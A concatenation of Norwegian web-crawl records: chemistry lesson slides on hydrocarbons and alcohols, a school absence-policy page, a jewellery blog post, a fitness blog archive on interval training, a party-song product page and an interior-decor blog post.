Dobbeltbindingen gj\u00f8r at alkener reagerer lettere med andre stoffer enn alkaner \u2013 DEMOFORS\u00d8K\\! Kan derfor teste om et hydrokarbon er et alken eller alkan. Brom (Br2) l\u00f8st i vann. Alkan og alken er ikke l\u00f8selig i bromvann. Hvis brunfargen forsvinner n\u00e5r blandingen ristes, er stoffet et alken.  Dobbeltbindingen gj\u00f8r at alkener reagerer lettere med andre stoffer enn alkaner \u2013 DEMOFORS\u00d8K! Kan derfor teste om et hydrokarbon er et alken eller alkan. Brom (Br2) l\u00f8st i vann. Alkan og alken er ikke l\u00f8selig i bromvann. Hvis brunfargen forsvinner n\u00e5r blandingen ristes, er stoffet et alken.\")  \n\n 15  **Alkyner Har en eller flere trippelbindinger mellom C-atomene**  \nUmettede hydrokarboner Ender p\u00e5 \u2013yn Antall C-atomer Navn 2 Etyn 3 Propyn 4 Butyn 5 Pentyn Lysbilde 15 Lag strukturformel, molekylformel og kulepinnemodell. Endelsen \u2013yn betyr trippebinding, det vil si at det er \u00e8n eller flere trippelbindinger mellom C-atomene. Molekylet inneholder derfor ikke s\u00e5 mange H-atomer som et alkan og alken. Oppgave: Lag molekylformel, strukturformel og kulepinnemodell for de tre neste alkene (penta, heksa, hepta, okta, nona, deka) \")  \n\n 16  \n\n 17  **Egenskaper til hydrokarboner**  \nBrensel; kortere kjede, jo lettere antennelig Ul\u00f8selige i vann Jo lenger C-kjeden er, jo h\u00f8yere kokepunkt \u2013 se tabell side 49 Tilstanden for et alkan er avhengig av antall C-atomer 1-4 atomer \u2013 gass 5-17 atomer \u2013 v\u00e6ske 18 eller flere atomer \u2013 fast stoff Lysbilde 17 Alle hydrokarboner brenner n\u00e5r de blir antent \u2013 avgitt energi. Jo kortere kjede av C-atomer, jo lettere antenner de. Dvs. at metan antenner lettere enn etan, propan, butan osv. Hvor mange C-atomer har de ulike? Oppgave: Forklar for hverandre hva som er forskjellen p\u00e5 en fullstendig og ufullstendig forbrenning. Hydrokarboner er ul\u00f8selig i vann, og kan dermed v\u00e6re med \u00e5 gj\u00f8re gjenstander vannavst\u00f8tende. Ul\u00f8selig pga. de er upolare stoffer \u2013 det vil si at de ikke har en positiv og negativ ende. Vann er bygd opp av vannmolekyler som har en positiv og negativ ende = polare (dipoler) - tiltrekningskrefter. Likt l\u00f8ser likt, dvs. at polare l\u00f8semidler l\u00f8ser polare stoffer (sukker, salt) og at upolare l\u00f8semidler l\u00f8ser upolare stoffer som voks og fett. Dette forklarer hvorfor hydrokarboner er ul\u00f8selig i vann \u2013 de upolare molekylene vil forstyrre vannmolekylene og forhindre tiltrekningen mellom dem.  - tiltrekningskrefter. Likt l\u00f8ser likt, dvs. at polare l\u00f8semidler l\u00f8ser polare stoffer (sukker, salt) og at upolare l\u00f8semidler l\u00f8ser upolare stoffer som voks og fett. Dette forklarer hvorfor hydrokarboner er ul\u00f8selig i vann \u2013 de upolare molekylene vil forstyrre vannmolekylene og forhindre tiltrekningen mellom dem.\")  \n\n 18  **Alkoholer Bygd opp av atomtypene C, H og O. Best\u00e5r av \u00e8n OH-gruppe**  \nI enden av C-kjeden F\u00e5r navnet etter alkanet med like mange C-atomer + endelsen \u2013ol. Lysbilde 18 Har like mange C-atomer som alkaner med samme navn, ett H-atom mindre + OH-gruppe. Eks. Metan har formelen CH4, mens metanol har CH3OH, etan har formelen C2H6, mens etanol har formelen C2H5OH osv.   \n\nKan f\u00f8r til blindhet og d\u00f8d  Benyttet som l\u00f8semiddel og r\u00e5stoff L\u00f8selig i vann Likner OH-gruppen i vann B\u00e5de vann og metanol er POLARE stoffer (likt l\u00f8ser likt) \u00c8n til tre C-atomer for hver OH-gruppe Lang hydrogenkjede \u2013 ikke l\u00f8selig i vann Fire eller flere C-atomer Lysbilde 19 Ble tidligere laget ved at man varmet opp tre uten at luft kom til. I dag lages metanol av metan. Som r\u00e5stoff i industrien for \u00e5 produsere andre stoffer, for eksempel lim.  \u00c8n til tre C-atomer for hver OH-gruppe. Lang hydrogenkjede \u2013 ikke l\u00f8selig i vann. Fire eller flere C-atomer. Lysbilde 19. Ble tidligere laget ved at man varmet opp tre uten at luft kom til. I dag lages metanol av metan. Som r\u00e5stoff i industrien for \u00e5 produsere andre stoffer, for eksempel lim.\")  \n\n 20  **Alkoholer Glyserol - glyserin Tre OH-grupper i molekylet**  \nLett l\u00f8selig i vann Ikke giftig, smaker s\u00f8tt Brukt i fuktighets-bevarende hudkremer M\u00e5 ikke forveksles med GLYKOL (giftig) Senker frysepunktet til vann Lysbilde 20 Glykol brukes blant annet til kj\u00f8lev\u00e6ske.  Senker frysepunktet til vann. Lysbilde 20. Glykol brukes blant annet til kj\u00f8lev\u00e6ske.\")  \n\n 21  **Alkoholer Etanol \u2013 ulike bruksomr\u00e5der Rusmiddel**  \nEks.: sitroner, appelsiner, eddik, fruktsyrer Gir sur smak Gj\u00f8r maten holdbar Konserveringsmidler Formelen ender p\u00e5 -COOH Navnet etter antall C-atomer Navnet ender p\u00e5 \u2013syre Svake syrer pH-verdi p\u00e5 ca. 3 F\u00e5 gir fra seg en H+ til vannmolekyler Lysbilde 22 Formelen kan settes opp p\u00e5 to m\u00e5ter, b\u00e5de som strukturformel og sammentrengt strukturformel. Husk at det er dobbeltbinding mellom det ytterste C-atomet og O-atomet (alle \u00abhullene\u00bb i O-atomet skal v\u00e6re fylt, dvs. at de deler ett elektronpar). Sett opp skjema for sammenhengen mellom hydrokarboner (alkaner, alkener, alkyner), alkoholer og karboksylsyrer. Navn, formel og strukturformel. Ha med antall C-atomer. Jobb med oppgaver s aktivitet . Sett opp skjema for sammenhengen mellom hydrokarboner (alkaner, alkener, alkyner), alkoholer og karboksylsyrer. Navn, formel og strukturformel. Ha med antall C-atomer. Jobb med oppgaver s. 60 + aktivitet.\")  \n\n 23  **Karboksylsyrer - reaksjoner**  \nEgenskaper for syrer Karboksylsyrer Smaker surt Forandrer fargen p\u00e5 en indikator Har pH\\<7 Dannet CO2 ved reaksjon med kalkstein og med natron Motvirker en base Dannet H2 ved reaksjon med et uedelt metall som magnesium Danner estere ved reaksjon med alkoholer Reagerer langsommere enn sterke syrer Reaksjonen er avhengig om det er en sterk eller svak syre, eller konsentrasjonen av syre l\u00f8st i vann.   \n\n 24  **Karboksylsyrer - reaksjoner**  \n\n", "language": "no", "__index_level_0__": "c66d4963-9882-488a-8f0b-729098a02fcb"}
{"url": "http://trondheim.steinerskolen.no/vgs/fravr-og-permisjonskjemaer", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:47:42Z", "text": "# Frav\u00e6r og permisjon\n\n### Frav\u00e6r\n\nFra 1. august 2016 er det en frav\u00e6rsgrense i videreg\u00e5ende skoler. Hensikten er \u00e5 motivere elevene til jevn innsats og \u00e5 forhindre skulk. Over 10% udokumentert frav\u00e6r i et fag f\u00f8rer til at elevene mister karaktergrunnlaget. Se Utdanningsdirektoratets sider for mer informasjon.\n\n\u00a0\n", "language": "no", "__index_level_0__": "15b8660b-8bf9-4579-bf03-94ab61074caa"}
{"url": "http://motesilje.com/smykkedilla/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:18:06Z", "text": "# Smykkedilla\n\nSilje Pedersen, mai 19, 2012 11:47 am // Uncategorized\n\n\n\nH\u00e5per dere har en herlig helg\\! Jeg nyter fridagene, sol og nesten sommer i Oslo:)\n\nMange som sp\u00f8r om armb\u00e5ndene jeg bruker i hverdagen og det er ganske mange forskjellige. Jeg kj\u00f8per gjerne med meg unike sm\u00e5 minner i form av smykker fra ulike steder, s\u00e5 b\u00e5de New York, Paris, Nice og LA er godt representert p\u00e5 armen. Andre er gaver som har en spesiell mening for meg, eller gode kupp fra ebay. At det er en salig blanding av det ene og det andre, synes jeg bare er kult. En nettside jeg har f\u00e5tt \u00f8ynene opp for og som selger veldig fine og ganske rimelige smykker, er Cocoo.se. De har fine armb\u00e5nd i mange forskjellige farger til en rimelig penge. Akkurat n\u00e5 \u00f8nsker jeg meg disse som er litt Pradainspirert og perfekt for en kveld p\u00e5 byen eller for \u00e5 glamme opp et hverdagsantrekk. Mon tro om det blir litt nettshopping i l\u00f8pet av dagen?\n\n### 2 Thoughts on \"Smykkedilla\"\n\n  - Kjetil Bacardi on mai 19, 2012, kl. 12:34\n    \n    Silje. Har du sjekket ut ettika.com? To die for. \u00d8nsker meg alt som er der (nesten). Ha en herlig l\u00f8rdag \ud83d\ude42\n    \n    http://Kjetilbacardi.wordpress.com\n    \n      - silje on mai 21, 2012, kl. 08:12\n        \n        Nei, men n\u00e5 m\u00e5 jeg jo det. Blir sikkert dyrt, hehe. Ha en herlig mandag\\!\n        \n\n\n\n\n\n\n\n\n\n\n", "language": "no", "__index_level_0__": "42f51db2-7602-41fe-95c9-c82021f61ec9"}
{"url": "https://tommymultisport.wordpress.com/category/teorier-og-refleksjoner/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00268.warc.gz", "warc_date": "2018-03-24T23:18:30Z", "text": "# Category Archives: Teorier og refleksjoner\n\ndesember 19, 2014 \u00b7 11:36\n\n## Elghufs, Effektivt kondisjonstrening med h\u00f8y forbrenningsverdi.\n\nL\u00e6r av langrennsl\u00f8perne\\!\n\nReiser du fra sn\u00f8en som meg, og bare m\u00e5 holde formen ved like? Eller har ikke sn\u00f8en komet enn\u00e5? Kanskje \u00f8nsker du \u00e5 gj\u00f8re l\u00f8peturen enn\u00e5 mer effektiv og variert. Ta med deg stavene og l\u00f8p Elghufs\\!\n\nTagged as barmarkstrening, bratrening.no, effektiv kondisjonstrening, elghufs, kristiansund  \n\ndesember 12, 2014 \u00b7 11:04\n\n## Tren styrke sammen p\u00e5\u00a0l\u00f8peturen,\n\nPar\u00f8velser er morsomme\\! \u00d8velsesvideo\\!\n\nDenne artikkelen p\u00e5 BraTrening.no er jeg stolt av. Den f\u00e5r frem det enkle, det morsomme, det effektive, godt bruk av tiden og gleden med \u00e5 v\u00e6re sammen om aktivitet\\! Og filmmusikken er byttet ut med latter\\!\u00a0P\u00e5 30 minutter har du trent alt, f\u00e5tt tid sammen, smilt masse og f\u00e5tt tilbake overskuddet\\!\n\n\n\nFiled under Teorier og refleksjoner\n\nTagged as par\u00f8velser styrketrening, styrke p\u00e5 l\u00f8peturen, styrke sammen, styrketrenings video  \n\noktober 27, 2014 \u00b7 13:15\n\n## Tren intervall, men hvordan gj\u00f8r man\u00a0det?\n\nFor \u00e5 bli en mester m\u00e5 man ha trent mye. Man m\u00e5 ha belastet sin kropp for utall av treningstimer \u00a0for hver dag skape en progressjon. Olaf Tufte har skapt uttrykket. Tren 10.000 timer og du blir best. Tufte har mye rett der. Dagens idrettsteoretikere har i dag g\u00e5tt en del back to basic n\u00e5r det gjelder hva de finner ut. De bruker ogs\u00e5 oftere ord som \u00a0\u00abhar vist at, eller sannsynlig at\u00bb \u00a0noe som gir rom for at de kan v\u00e6re annerledes og at det er individuelle forskjeller.\n\n**Tren 10.000 timer**\n\nMen f\u00e5 av oss har tid til 10.000 timer, i tillegg er det kanskje ikke mester vi \u00f8nsker \u00e5 bli? Du kan uten tvil bli i rask god form p\u00e5 bare intervaller, men progresjonen/forbedringen vil etterhvert slakke av. For \u00e5 billedlige dette noe kan jeg sammenligne en kase. En mann p\u00e5 40 som aldri har trent bestemte seg for \u00e5 sykle birken. F\u00f8rste sesongen med mye intervaller syklet han p\u00e5 4.30 et meget bra resultat for en debutant. Treningen tok litt av og \u00e5ret etter med samme opplegg syklet han 3.45, for s\u00e5 \u00e5 klare 3.40 3.\u00e5ret. Min p\u00e5stand er at han m\u00e5 sykle mye langkj\u00f8r i mange timer for \u00e5 f\u00e5 en ny stor progresjon. dette er uanset en syklist som aldri kan klare \u00e5 havne p\u00e5 pallen tross mye trening. Han vil aldri klare \u00e5 n\u00e6rme seg 10.000 timers teorien\n\nTror du Hushovd kan klare \u00e5 vinne VM med 4\u00d74 minutters intervaller? Alts\u00e5 en 30 minutters \u00f8kt? \u00a0Uten tvil ikke\\! Jo bedre trent jo lengere \u00f8kter for \u00e5 skape en superoverkompansjasjon (formforbedring) Men for \u00e5 forbedre korte spurter, lengre drag og heve sine terskler s\u00e5 er det viktig for en idrettsut\u00f8ver \u00e5 variere intervallene med korte, lange, varierte og intervaller i forskjellige intensiteter.\n\n**4\u00d74**\n\n\u00abutrykket\u00bb 4\u00d74 sprette seg som ild i t\u00f8rt gress etter at NTNU forskerne Hoff og Helgerud hadde testet intervaller p\u00e5 hjertepasienter med ekstremt gode resultater/utholdenhetsforbedringer. Dette var personer i meget d\u00e5rlig forfatning. Mange av oss fikk med seg dette men ikke helt med seg hvilken gruppe testpersonene var. \u00a0Det som er meget bra med dette er at selv hjertepasienter kan kj\u00f8re intervaller. Det vil si at selv de aller d\u00e5rligste trente av oss b\u00f8r prioritere intervalltrening i starten\\!\n\n**Pulssoner/intensitetsskala**\n\nIntensitetskalaen er individuelt tilpasset og er heller aldri statisk. Dette kommer blant annet av at en godt trent person kan trene n\u00e6rmere maxpuls uten melkesyreopphopning (ca 90%) en hos en utrent (ca 75%) makspuls er ogs\u00e5 individuelt ogs\u00e5 ved lik aldre og kj\u00f8nn. Man kan ogs\u00e5 trene n\u00e6rmere maxpuls n\u00e5r man \u00f8ker sin kondisjon.\n\n**Det handler ikke om makspuls men jevne harde drag til utmattelse**\n\nDet er summen av alle intervalldragene som gj\u00f8r intervallene effektive. For \u00e5 si det litt enkelt s\u00e5 \u00ablurer\u00bb vi kroppen til \u00e5 tro at man holder jevn hard fart med de korte pausene. Pulsen skal ned i langkj\u00f8r 1 puls, alts\u00e5 ikke helt ned i g\u00e5tempo f\u00f8r man tar neste drag. Pulsen skal heller aldri opp i makspuls, men et tempo der du klarer \u00e5 trene like hardt p\u00e5 alle dragene\n\nVarm godt opp, gjerne i 20-30 minutter. \u00d8k farten de siste minuttene for s\u00e5 \u00e5 g\u00e5 noen minutter. F\u00f8rste draget/itervallen tar du litt roligere en de neste dragene. Snittfarten er noenlunde jevn men snittpulsen \u00f8kser gjerne 5-10 slag fra f\u00f8rste til siste intervalldrag\n\n**Test din intervallfart**\n\nEn fin m\u00e5te \u00e5 bli kjent med din fart, puls og intensitet er \u00e5 finne en runde som tar f.eks 6 minutter i h\u00f8y fart etter 20 minutters oppvarming. Ta denne runden 5 ganger og du skal hver runde ha lik fart. G\u00e5r dette enkelt kan farten \u00f8kes til neste trening. Den dagen du ikke klarer \u00e5 holde jevne runder har du da funnet din \u00abintervall puls/intensitet/fart\u00bb N\u00e5r du blir i bedre form m\u00e5 farten \u00f8kes, det samme med gjenomsnittspulsen. Dette vil ogs\u00e5 si at du ikke m\u00e5 ha pulsklokke, men v\u00e6r bevist p\u00e5 lengden du l\u00f8per/sykler osv\u2026\n\nOppsummert. Man f\u00e5r en raskere\u00a0 formforbedring jo mindre man har trent . Jo bedre trent jo lengre intervall\u00f8kter, og for \u00e5 bli mester,s\u00e5 m\u00e5 man trene MYE langkj\u00f8rtrening (langt og rolig) For idretter som stiller krav til hurtighet over kortere distanser s\u00e5 vil teoriene v\u00e6re noe forandrett fra denne,noe jeg ikke tar opp n\u00e5.\n\n\n\nHard\u00f8kt i Alpe d'huez\n\nTagged as 4x4 intervaller, intervaller, intervalltrening, kondisjon, kondisjonstrening  \n\noktober 23, 2014 \u00b7 09:40\n\n## Tre lettere pullups, unng\u00e5 \u00e5 bli ovetrent. Instruksjons\u00a0video\n\nI den siste tiden har det v\u00e6rt mye snakk om det \u00e5 bli syk av styrketrening.\u00a0Pullups eller kroppshev har f\u00e5tt mye av skylden for de tilfellene som har kommet frem.\n\nDette er en \u00f8velse som lett kan overdrives da den eksentriske fasen (forlegningsfasen av muskelen) er lettere \u00e5 utf\u00f8re i forhold til den konsentriske fasen (forkortingsfasen)\n\nNy treningsartikkel fra meg. Mer p\u00e5 bratrening.no\u00a0\n\n\n\nTagged as helselaben, kroppshev, pullups, rabdomyolyse, treningsvideo  \n\nseptember 2, 2014 \u00b7 12:13\n\n## Forberedelser til Oslos bratteste og te t\u00f8pps,\u00a0Hemsedal\n\nSkal du v\u00e6re best mulig forberedt til \"Oslos bratteste\", m\u00e5 grunnlaget legges gjennom hele \u00e5ret, og gjennom mange \u00e5r. Men om dette ikke har v\u00e6rt din prioritering, er det allikevel mye \u00e5 hente ved \u00e5 toppe den formen du allerede har. Selv de best trente kan ikke v\u00e6re i toppform \u00e5ret rundt. Det \u00e5 toppe formen er det v\u00e5re idrettsut\u00f8vere gj\u00f8r f\u00f8r VM og OL. Det betyr at man trener ekstra hardt i m\u00e5nedene f\u00f8r viktige konkurranser, for s\u00e5 \u00e5 slippe opp litt de siste ukene f\u00f8r. L\u00f8ypa til \"Oslos bratteste\" m\u00e5ler totalt 2,7 km og har en stigning p\u00e5 407 meter. L\u00f8pet arrangeres i Wyllerl\u00f8ypa, som er en sv\u00e6rt bratt slal\u00e5mbakke. Her er det h\u00f8yt gress, sti, grus og noen strekk med veldig ulendt terreng. L\u00f8pet er kort nok til at alle kan fullf\u00f8re, og mer enn hardt nok til \u00e5 ta seg fullstendig ut\\!\n\n\u00a0\n****Intervalltrening****\n\nIntervalltrening er en sv\u00e6rt effektiv treningsform \u00e5ret rundt, men ikke glem at for \u00e5 f\u00e5 et virkelig godt treningsgrunnlag er ogs\u00e5 rolige \u00f8kter helt n\u00f8dvendig.\n\nFram mot denne konkurransen er det gunstig \u00e5 legge inn intervall\u00f8kter med l\u00f8pedrag p\u00e5 3-\u00ad5 minutter som gjentas 4\u00ad-8 ganger. Pause mellom hvert drag tilsvarende ca 1/3 av l\u00f8petiden. Det er viktig at du ikke lar pulsen falle for mye i pausene, s\u00e5 g\u00e5 rolig mellom hvert drag. Din grunnform vil v\u00e6re avgj\u00f8rende for hvilken intensitet du jobber med. Kj\u00f8r helst intervall\u00f8ktene i bakke i ulendt terreng, men varier med flatere sti ogs\u00e5. Intensiteten og farten skal v\u00e6re slik at du klarer \u00e5 holde samme tempo gjennom hele draget og gjennom alle repetisjonene. Den jevne harde farten er effektiv b\u00e5de for \u00e5 utvikle kondisjonen din og ikke minst styrken i beina, noe som kommer godt med n\u00e5r du st\u00e5r klar til start i bunnen av Wyllerl\u00f8ypa.\n\n****4 uker igjen****\n\nDet n\u00e6rmer seg konkurranse, s\u00e5 n\u00e5 er det siste mulighet for noen skikkelig hardkj\u00f8r\u00f8kter hvor du t\u00f8mmer deg helt. I denne uken b\u00f8r du legge inn noen gode harde \u00f8kter, 3-4 for godt trente og 2 for de med mindre treningsgrunnlag. Pass ogs\u00e5 p\u00e5 \u00e5 legge inn en god langtur p\u00e5 sti og et par rolige treninger p\u00e5 en time eller to i \u00abpratetempo\u00bb mellom de t\u00f8ffeste \u00f8ktene.\u00a0\n\nForslag til \u00f8kter:\n\n  - En\u00ad-to intervall\u00f8kter med 3-\u00ad4 minutters drag i terreng/sti\n  - En konkurranselik \u00f8kt, det vil si motbakkel\u00f8p med 3-\u00ad400 meter stigning\n  - En langtur p\u00e5 inntil 2-4 timer (juster i forhold til form) i \u00abpratetempo\u00bb p\u00e5 sti og grus\n  - 2\u00ad-3 \u00f8kter p\u00e5 1-2 timer i pratetempo i terreng/sti\n\n****3 uker igjen****\n\nDenne uken b\u00f8r du holde noe igjen. F\u00f8lelsen den siste dagen skal v\u00e6re slik at du kjenner at du har ok med overskudd, men f\u00f8ler deg noe tyngre i beina enn ellers. Kj\u00f8r 1-2 intervall\u00f8kter med 3-4 minutters drag, og en konkurranselik \u00f8kt. Legg til en ekstra intervall\u00f8kt om du er i god form. Fortsett med en langtur og noen kortere rolige \u00f8kter.\n\nForslag til \u00f8kter:\n\n  - En-to intervall\u00f8kter med 3\u00ad-4 minutters drag i terreng\n  - En konkurranselik \u00f8kt, det vil si motbakkel\u00f8p med 3-\u00ad400 stigning\n  - En langtur p\u00e5 2-\u00ad4 timer i \u00abpratetempo\u00bb p\u00e5 sti og grus\n  - Et par \u00f8kter p\u00e5 1-2 timer i pratetempo i terreng/sti\n\n****2 uker igjen****\n\nN\u00e5 begynner den deilige tiden, konkurransen n\u00e6rmer seg og du kan begynne \u00e5 roe ned. Kutt treningen med ca 20\u00a0%. Behold \u00f8ktene fra uke 3, men ikke ta deg helt ut og kutt ett-to drag p\u00e5 intervall\u00f8ktene. Langturen kan ogs\u00e5 kortes litt ned. I l\u00f8pet av uken skal du kjenne at du begynner \u00e5 f\u00e5 godt med overskudd.\n\n  - En-\u00adto intervaller med 2-3 minutters drag i terreng\n  - En konkurranselik \u00f8kt, det vil si motbakkel\u00f8p med ca 200 stigning\n  - En langtur p\u00e5 1 \u00bd-3 timer i \u00abpratetempo\u00bb p\u00e5 sti og grus\n  - En-\u00adto \u00f8kter p\u00e5 1-2 timer i pratetempo i terreng/sti\n\n****Siste uken****\n\nN\u00e5 skal du hvile deg i form\\! Det betyr ikke at du skal unng\u00e5 \u00e5 trene, men treningene skal kun foreg\u00e5 med overskudd\\! Det vil si at du f\u00f8ler deg raskere og raskere og har tidenes \u00abletteste\u00bb bein mot slutten av treningsuken. Ta en halv hard \u00f8kt p\u00e5 mandag, gjerne i kupert terreng. Kj\u00f8r \u00f8kten som en intervall\u00f8kt, men bruk terrenget til \u00e5 styre deg. Raske drag i motbakkene, roligere utfor, lengre drag p\u00e5 flatene. Varier gjennom hele \u00f8kten, og lek deg med terrenget.\n\nKj\u00f8r ogs\u00e5 to\u00adtre langkj\u00f8r\u00f8kter i lett terreng, der du l\u00f8per med raske skritt.\n\n  - En middels hard intervall\u00f8kt i kuppert terreng. Fartslek\\!\n  - To-\u00adtre langkj\u00f8r\u00f8kter p\u00e5 \u00bd time\u00ad \u2013\u00a02 timer i lett terreng\u00a0\n\n****Kosthold under treningene****\n\nHer er regelen sundt, gr\u00f8nt og grovt. Matbehovet \u00f8ker i denne perioden, for n\u00e5r du trener hardt og mye, trenger du mer p\u00e5fyll. Spis rett etter trening og spis deg mett ved m\u00e5ltidene. Husk \u00e5 f\u00e5 i deg nok av alt: karbohydrater, proteiner og riktig fett. Husk godt med sukkerholdig drikke og mat under treningene, det er sv\u00e6rt viktig \u00e5 ikke \"g\u00e5 tom\", for da vil treningseffektiviteten g\u00e5 merkbart ned.\n\nSelve konkurransen er s\u00e5pass kort at mat og drikke underveis ikke er n\u00f8dvendig dersom du har spist og drukket nok og riktig de siste dagene f\u00f8r start. Det er viktig at kroppens lagre er fulle, b\u00e5de n\u00e5r det gjelder karbohydrater, proteiner og vann. For de som bruker lengst tid kan det kan allikevel v\u00e6re godt \u00e5 f\u00e5 litt sportsdrikke underveis, helst den samme som du er vant til \u00e5 drikke.\n\n****Konkurransedagen\\!****\n\nFrokosten inntar du 2\u00ad-3 timer f\u00f8r start. Spis normal mengde og unng\u00e5 at du starter med en \u00abtung\u00bb mage. Ca 30 minutter f\u00f8r start kan en banan eller en br\u00f8dskive passe fint. Husk \u00e5 drikke ogs\u00e5, men drikk etter temperaturen. Er det kj\u00f8lig, noe det sannsynligvis er, s\u00e5 drikk normalt. Det er bare ubehagelig \u00e5 ha sportsdrikke skvulpende rundt i magen p\u00e5 vei oppover.\n\nOppvarming er utrolig viktig p\u00e5 en s\u00e5 kort og intens konkurranse. Manglende oppvarming gj\u00f8r at det treningsgrunnlaget du har lagt gjennom utallige timer ikke kommer til sin rett.\u00a0\n\nStart oppvarmingen ca 40 minutter f\u00f8r start, s\u00e5 har du god tid til \u00e5 f\u00e5 kroppen i gang, og samtidig tid til \u00e5 roe ned og konsentrere deg om oppgaven du skal utf\u00f8re. G\u00e5 og sm\u00e5jogg i 5 minutter, \u00f8k farten i 20 minutter uten \u00e5 bli sliten. Kj\u00f8r 30 sekunders drag i konkurransetempo med rolig gange i mellom, gjenta dette 4-8 ganger. Det er viktig \u00e5 f\u00e5 riktig fart i beina, s\u00e5 selv om dette kan f\u00f8les tungt, er det verdt det n\u00e5r startskuddet g\u00e5r. N\u00e5r det er ca 10 minutter igjen til start skal du roe deg ned, tenke gjennom jobben som venter mens du g\u00e5r litt rundt, rister l\u00f8s, t\u00f8yer litt og tar siste lille p\u00e5fyll av energimat og drikke.\u00a0\n\n****LYKKE TIL\\!****\n\n****Om artikkelforfatteren****\n\n  - 12 \u00e5r i treningsbransjen, l\u00e6re\u00a0p\u00e5 akademi for personlig trening og ELIXIA education.\u00a0\n  - Tidligere landeveissyklist.\n  - Driver med multisport og triatlon.\n  - Har gjennomf\u00f8rt 4 Ironman med 3 Norseman.\n  - Driver i dag et guide- og kursfirma for frikj\u00f8ring, topptur, sti og utforsykling i Hemsedal.\n\n\n\nNorseman avsluttes med 25 km motbakkel\u00f8p. Foto Terje Gulbrandsen\n\n\u00a0\naugust 26, 2014 \u00b7 20:12\n## Forberedelsene til alpintsesongen starter\u00a0n\u00e5\\!\n\nGjesteskribent p\u00e5\u00a0Cuponation\u00a0\nhttp://www.cuponation.no/blogg/forberedelsene-til-alpintsesongen/\n\n\n\nHemsedal jan 2014. Foto Erik B Erlandsen\n\nfebruar 11, 2014 \u00b7 09:34\n\n## Mat f\u00f8r og under\u00a0konkuranser\n\nHar du planer om lenger skikonkuranser i vinter, eller venter det et stort m\u00e5l til sykkelsesongen? Da b\u00f8r du l\u00e6re deg \u00e5 spise riktig b\u00e5de f\u00f8r og under konkuransene.\n\nAllerede n\u00e5 m\u00e5 du ta et valg n\u00e5 hva du skal spise under konkurransen og bruk dette under hard trening siste ukene. Du b\u00f8r nemlig ikke starte en konkurranse med mat du ikke har trent p\u00e5 f\u00f8r. Dette kan f\u00f8re til at du f\u00e5 blodsukkerfall, mageproblemer, sure oppst\u00f8t m.m.\n\n*Mer p\u00e5:\u00a0http://www.bratrening.no/kosthold/treningsmat/508-mat-under-konkurranser*\n\n\n\nseptember 11, 2013 \u00b7 09:24\n\n## Sterk til skisesongen\n\nTagged as alpint trening, barmarkstrening, core trening, offpiste trening, styrke til alpint, toppturtrening, trening til skisesongen, ute magasinet  \n\nseptember 3, 2013 \u00b7 15:13\n\n## L\u00f8pe og langdistanse\u00a0kne\n\nDet er noen uker til Oslo maraton som er en av de st\u00f8rste l\u00f8pe begivenhetene som vi har. Dette skaper et stort engasjement og ikke minst ogs\u00e5 store forventninger hos mange. Ofte er iveren st\u00f8rre enn fornuften og man bare gyver p\u00e5 selv om kroppen begynner \u00e5 skrante. dette kan skape problemer b\u00e5de p\u00e5 lang og kort sikt.\n\nHar du vondt kneet b\u00f8r du stoppe litt opp \u00e5 tenke, men slikt kan ogs\u00e5 forebygges. Les mer p\u00e5 bratrening.no\u00a0http://bratrening.no/forsiden/ekspertsvar/353-vondt-i-kneet\n\n\n\n", "language": "no", "__index_level_0__": "b5faa852-8bcf-4117-a6d8-cf6705b7ab3b"}
{"url": "http://www.1001sang.no/index.php?main_page=product_info&cPath=111_151&products_id=398", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00705.warc.gz", "warc_date": "2018-03-24T23:36:42Z", "text": "# Koldtbord\n\n**Velkomstsang til koldtbord  \n  \n** Du f\u00e5r 2 sanger p\u00e5 3 vers \u00e5 velge mellom \u2013 \u00e9n sang der alkohol nevnes og \u00e9n sang der alkohol ikke nevnes.  \n  \nDu f\u00e5r ogs\u00e5 flere vers som du kan bruke enten som erstatning for vers du sletter eller som ekstra vers.  \n  \nSangen f\u00e5es ogs\u00e5 kj\u00f8pt med melodien \u00abMusevisa\u00bb.  \n\n#### H\u00f8r melodien:\n\n\u00c5 huttetuttetei\n\n**Utdrag av sangen:  \n  \n**\n\nmel.: \u00c5 huttetutte tei  \n  \nN\u00e5r magene blir tomme, og sulten setter inn \u2013  \nda er det godt \u00e5 f\u00e5 masse mat i magen sin.  \nN\u00e5 er det laget koldtbord, og vi skal spise godt,  \nmen noen veldig gode r\u00e5d har vi p\u00e5 forh\u00e5nd f\u00e5tt.  \n\u00c5 huttetutte ter \u2013 spis ikke alt du ser.  \nSpis ikke mer enn du kan b\u00e6re \u2013 spis n\u00e5 ikke mer.  \n\n  \n", "language": "no", "__index_level_0__": "16f0b192-91ad-459c-81c3-b6c1439a21e2"}
{"url": "http://daisishome.blogspot.com/2013/10/bloggen-er-utvalgt-hos-kremmerhuset.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:35:34Z", "text": "### Bloggen er utvalgt hos KREMMERHUSET\n\n  \n\n\n  \n*Her om dagen fikk jeg den hyggelige beskjeden om at bloggen min er en av \u00a0de 20 utvalgte, blant 120 bloggeforslag \u00a0inne hos\u00a0KremmerHuset*   \n  \n   \n *Stor stas D, \u00a0etter som jeg da ogs\u00e5 er en mega liker av Kremmerst\u00e6sj:)*  \n* *Etter \u00e5 ha tittet gjennom bildemappen, fant jeg disse tatt i sommer.*  \n\n\n *Denne er en av de absolutte Kremmerfavorittene mine :)\u00a0*  \n* *R\u00f8ff og annerledes hylle med hjul, som gj\u00f8r den enkel \u00e5 flytte p\u00e5.*  \n*  \n* *Og denne fikk etter hvert plass her ved den nymalte Palleveggen i gangen hvor den skled rett inn :)*  \n*  \n* *Grovet opp med de alltid annvendelige kremmerkurvene.*  \n*Prikken over i\u00e8n fikk bli en sort stilig lyslenke:)*  \n*  \n* *Ta gjerne titten innom\u00a0Kremmerhuset\u00a0og du finner garantert mange flotte interi\u00f8rfristelser klare til \u00e5 klikkes hjem :)\u00a0*  \n*  \n* *\u00a0 